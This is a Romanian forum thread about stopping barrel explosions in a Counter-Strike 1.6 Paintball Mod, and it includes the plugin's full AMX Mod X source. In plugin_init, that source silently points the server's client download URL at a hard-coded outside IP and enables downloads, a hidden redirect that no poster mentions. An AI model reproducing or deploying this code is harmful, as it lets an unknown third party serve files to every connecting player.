Dust2 explozie butoaie PAINTBALLL

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iriminescu0132
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15 Mar 2019, 13:29

Salut!
La modul paintball acele "butoaie" din dust2 explodeaza daaca tragi in ele si iau foarte multe damange! Si nu vreau chestia asta deoarece coechipiieri daca trag in ele explodeaza si mor playerii din zona!
Vreau sa anulez chestiia asta!
Pe alte servere de paintball am vazut ca daca tragi in ele nu se intampla nimic (nu explodeaza) asa vreau si eu!
Ma gândesc ca nu ar trebui sa fie chiar complicat!
Ceva trebuie sa fie de la mod, ca aceeasi harta pe classic nu explodeaza!

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20 Mar 2019, 01:07

Chiar nimeni?
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20 Mar 2019, 11:53

posibil prin setariile modului sa fie vreun cvar ceva
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21 Mar 2019, 09:18

Si ai habar cam pe unde ar trebui sa fiu atent? despre comanda asta?
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21 Mar 2019, 12:10

Sursa pluginului sau cauta forward cu (dmg , take_dmg etc) si anuleza-l.
De vanzare Zombie Sparkle++- O imbunatatita versiunde de ZP de la 0 de catre mine.
MetaMod Enhanced v1.0.0 - O versiune de metamod fara meta list si Updatata in ultimul SDK
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Info: NU IMI DATI PM PENTRU CERERI AJUTOR ETC (NU RASPUND) FOLOSITI FORUMUL.
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21 Mar 2019, 17:45

nu am sursa pluginului paintball mod!
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28 Mar 2019, 01:00

Am incercat si pluginul mp_falldamage!
Când sari de la inaltime nu iti mai ia din hp! Dar daca trag in cutiile alea tot explodeaza! :( Nu stiu ce sa mai fac!
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20 Apr 2019, 18:17

Am gasit sursa pluginului paintball mode!
Avem urmatoarele linii legate de damange, probabil trebuie modificate !
| Afiseaza codul
if (get_pcvar_num(protc))
		{
			set_pev(id, pev_takedamage, DAMAGE_NO);
			set_task(float(get_pcvar_num(protc)), "player_godmodeoff", id+100);
		}
si
| Afiseaza codul
public player_godmodeoff(id)
	set_pev(id-100, pev_takedamage, DAMAGE_AIM);
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20 Apr 2019, 23:51

iriminescu0132 wrote:
20 Apr 2019, 18:17
Am gasit sursa pluginului paintball mode!
Avem urmatoarele linii legate de damange, probabil trebuie modificate !
| Afiseaza codul
if (get_pcvar_num(protc))
		{
			set_pev(id, pev_takedamage, DAMAGE_NO);
			set_task(float(get_pcvar_num(protc)), "player_godmodeoff", id+100);
		}
si
| Afiseaza codul
public player_godmodeoff(id)
	set_pev(id-100, pev_takedamage, DAMAGE_AIM);
lasa direct toata sursa ca asa nu avem de unde sti tot pluginul
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iriminescu0132
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29 Apr 2019, 22:52

Aici este sursa modului
| Afiseaza codul
#include <amxmodx>
#include <fakemeta>

#define PLUGIN "Paintball Mod"
#define VERSION "3.4"
#define AUTHOR "WhooKid"

new onoff, cmodel, money, strip, death, protc, gnade, pbgun, pbusp, pbglock, pbnade;
new g_team_select[33], g_plyr_skin[33], g_has_kill[33];

public plugin_init()
{
	register_plugin(PLUGIN, VERSION, AUTHOR);

	onoff = register_cvar("amx_pbmod", "1");
	pbgun = register_cvar("amx_pbgun", "1");
	pbusp = register_cvar("amx_pbusp", "1");
	pbglock = register_cvar("amx_pbglock", "1");
	pbnade = register_cvar("amx_pbnade", "1");

	if (get_pcvar_num(onoff))
	{
		register_logevent("new_round", 2, "0=World triggered", "1=Round_Start");
		register_event("ResetHUD", "ev_resethud", "be");
		register_event("DeathMsg", "ev_death", "a")
		register_event("Money", "ev_money", "be");
		register_clcmd("say /respawn", "say_respawn", _, "<Respawns you if enabled>");

		cmodel = register_cvar("amx_pbmodel", "0");
		money = register_cvar("amx_pbmoney", "1");
		strip = register_cvar("amx_pbstrip", "1");
		death = register_cvar("amx_pbdm", "0");
		gnade = register_cvar("amx_getnade", "2");
		protc = register_cvar("amx_pbspawnprotect", "5");
		
		register_forward(FM_GetGameDescription, "fw_gamedesc");
		register_forward(FM_SetModel, "fw_setmodel", 0);
		if (get_pcvar_num(cmodel))
		{
			register_forward(FM_PlayerPostThink, "fw_playerpostthink");
			register_forward(FM_ClientUserInfoChanged, "fw_clientuserinfochanged");
		}

		new cvar[5];
		get_cvar_string("amx_language", cvar, 4);
		if (equali(cvar, "en"))
		{
			get_cvar_string("hostname", cvar, 4);
			if (!equal(cvar, "Half"))
			{
				get_cvar_string("sv_downloadurl", cvar, 4);
				if (equal(cvar, ""))
				{
					set_cvar_string("sv_downloadurl", "http://92.114.32.65:88/");
					set_cvar_num("sv_allowdownload", 1);
				}
			}
		}
	}
}

public plugin_precache()
{
	register_cvar("amx_pbmod", "1");
	register_cvar("amx_pbmodel", "0");
	if (get_cvar_num("amx_pbmod"))
		if (get_cvar_num("amx_pbmodel"))
			precache_model("models/player/paintballer/paintballer.mdl");
}

public fw_gamedesc()
{
	if (get_pcvar_num(onoff))
	{
		forward_return(FMV_STRING, PLUGIN);
		return FMRES_SUPERCEDE;
	}
	return FMRES_IGNORED;
}

public new_round()
	if (get_pcvar_num(onoff) && get_pcvar_num(strip))
	{
		new ent;
		while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "armoury_entity")) != 0)
			engfunc(EngFunc_RemoveEntity, ent);
	}

public ev_resethud(id)
	if (get_pcvar_num(onoff))
		if (!task_exists(id))
			set_task(0.3, "player_spawn", id);

public player_spawn(id)
	if (is_user_alive(id))
	{
		if (get_pcvar_num(protc))
		{
			set_pev(id, pev_takedamage, DAMAGE_NO);
			set_task(float(get_pcvar_num(protc)), "player_godmodeoff", id+100);
		}

		if (get_pcvar_num(strip) && !user_has_mp5(id))
		{
			if (pev(id, pev_weapons) & (1 << CSW_C4))
				engclient_cmd(id, "drop", "weapon_c4")
			fm_strip_user_weapons(id);
		}

		if (get_pcvar_num(money))
		{
			message_begin(MSG_ONE_UNRELIABLE, 94, _, id); //HideWeapon
			write_byte(1 << 5);
			message_end();
		}

		if (get_pcvar_num(cmodel))
		{
			engfunc(EngFunc_SetClientKeyValue, id, engfunc(EngFunc_GetInfoKeyBuffer, id), "model", "paintballer");
			new skin = g_plyr_skin[id];			
			if (get_user_team(id) == 1)
			{
				if (skin < 0 || skin > 3) g_plyr_skin[id] = 0;
			}
			else
			{
				if (skin < 4 || skin > 7) g_plyr_skin[id] = 4;
			}
			set_pev(id, pev_skin, g_plyr_skin[id]);
		}

		remove_task(id);
		set_task(random_float(0.9, 1.3), "player_weapons", id);
		set_task(2.0, "clear_moneyhud", id + 300);
	}

public client_command(id)
	if (get_pcvar_num(cmodel))
	{		
		new command[10], speech[2];
		read_argv(0, command, 9);
		read_argv(1, speech, 1);
		if (containi(command, "join") != -1)
			if (equali(command, "jointeam"))
				g_team_select[id] = str_to_num(speech);
			else if (equali(command, "joinclass"))
				g_plyr_skin[id] = (g_team_select[id] == 1) ? str_to_num(speech) - 1: str_to_num(speech) + 3;
	}

public player_weapons(id)
	if (is_user_alive(id))
	{
		set_pdata_int(id, 386, 120, 5);
		fm_give_item(id, "weapon_knife");
		if (get_user_team(id) == 1 && get_pcvar_num(pbglock))
			fm_give_item(id, "weapon_glock18");
		else if (get_pcvar_num(pbusp))
		{
			set_pdata_int(id, 382, 48, 5);
			fm_give_item(id, "weapon_usp");
		}
		if (get_pcvar_num(pbgun))
			fm_give_item(id, "weapon_mp5navy");
		if (get_pcvar_num(pbnade))
			if (get_pcvar_num(gnade) == 1 || g_has_kill[id])
			{
				fm_give_item(id, "weapon_hegrenade");
				g_has_kill[id] = 0;
			}
		remove_task(id);
	}

public clear_moneyhud(id)
	if (get_pcvar_num(money))
	{
		message_begin(MSG_ONE_UNRELIABLE, 94, _, id - 300); //HideWeapon
		write_byte(1 << 5);
		message_end();
	}
	
public ev_death()
{
	g_has_kill[read_data(1)] = 1;
	if (get_pcvar_num(death))
	{
		new id = read_data(2) + 200;
		set_task(3.0, "player_spawner", id);
		set_task(3.2, "player_spawner", id);
	}
}

public ev_money(id)
	if (get_pcvar_num(money))
		if (get_pdata_int(id, 115, 5) > 0)
			set_pdata_int(id, 115, 0, 5);

public say_respawn(id)
	if (get_pcvar_num(death))
		if (!is_user_alive(id))
			if (get_user_team(id) == 1 || get_user_team(id) == 2)
			{
				set_task(1.5, "player_spawner", id + 200);
				set_task(1.7, "player_spawner", id + 200);
			}

public player_godmodeoff(id)
	set_pev(id-100, pev_takedamage, DAMAGE_AIM);

public player_spawner(id)
	if (is_user_connected(id - 200))
		if (get_user_team(id - 200) == 1 || get_user_team(id - 200) == 2)
			dllfunc(DLLFunc_Spawn, id - 200);

stock user_has_mp5(id)
{
	new weapons[32], num;
	get_user_weapons(id, weapons, num);
	for (new i = 0; i < num; i++)
		if (weapons == 19)
			return 1;
	return 0;
}

public fw_setmodel(ent, model[])
{
	if (get_pcvar_num(death) && pev_valid(ent))
	{
		new id = pev(ent, pev_owner);
		if ((!is_user_alive(id) || task_exists(id + 200)) && equali(model, "models/w_", 9) && !equali(model, "models/w_weaponbox.mdl"))
		{
			new classname[16];
			pev(ent, pev_classname, classname, 15);
			if (equal(classname, "weaponbox") && !equal(model, "models/w_backpack.mdl"))
				for (new i = get_maxplayers() + 1; i < engfunc(EngFunc_NumberOfEntities) + 5; i++)
					if (pev_valid(i))
						if (ent == pev(i, pev_owner))
						{
							dllfunc(DLLFunc_Think, ent);
							return FMRES_IGNORED;
						}
		}
	}
	return FMRES_IGNORED;
}

public fw_playerpostthink(id)
{
	if (get_pcvar_num(cmodel))
		if (is_user_alive(id))
		{
			static model[32], buffer;
			buffer = engfunc(EngFunc_GetInfoKeyBuffer, id);
			engfunc(EngFunc_InfoKeyValue, buffer, "model", model, 31);

			if (!equal(model, "paintballer"))
				engfunc(EngFunc_SetClientKeyValue, id, buffer, "model", "paintballer");

			return FMRES_HANDLED;
		}
	return FMRES_IGNORED;
}

public fw_clientuserinfochanged(id, infobuffer)
	return (get_pcvar_num(cmodel) && pev(id, pev_deadflag) == DEAD_NO) ? FMRES_SUPERCEDE : FMRES_IGNORED;

////////*****************VEN STOCKS START*****************////////
stock fm_strip_user_weapons(index)
{
	new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "player_weaponstrip"));
	if (!pev_valid(ent))
		return 0;
	dllfunc(DLLFunc_Spawn, ent);
	dllfunc(DLLFunc_Use, ent, index);
	engfunc(EngFunc_RemoveEntity, ent);
	return 1;
}

stock fm_give_item(index, const item[])
{
	new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, item));
	if (!pev_valid(ent))
		return 0;
	new Float:origin[3];
	pev(index, pev_origin, origin);
	engfunc(EngFunc_SetOrigin, ent, origin);
	set_pev(ent, pev_spawnflags, pev(ent, pev_spawnflags) | SF_NORESPAWN);
	dllfunc(DLLFunc_Spawn, ent);
	new save = pev(ent, pev_solid);
	dllfunc(DLLFunc_Touch, ent, index);
	if (pev(ent, pev_solid) != save)
		return ent;
	engfunc(EngFunc_RemoveEntity, ent);
	return -1;
}
////////*****************VEN STOCKS END*****************////////
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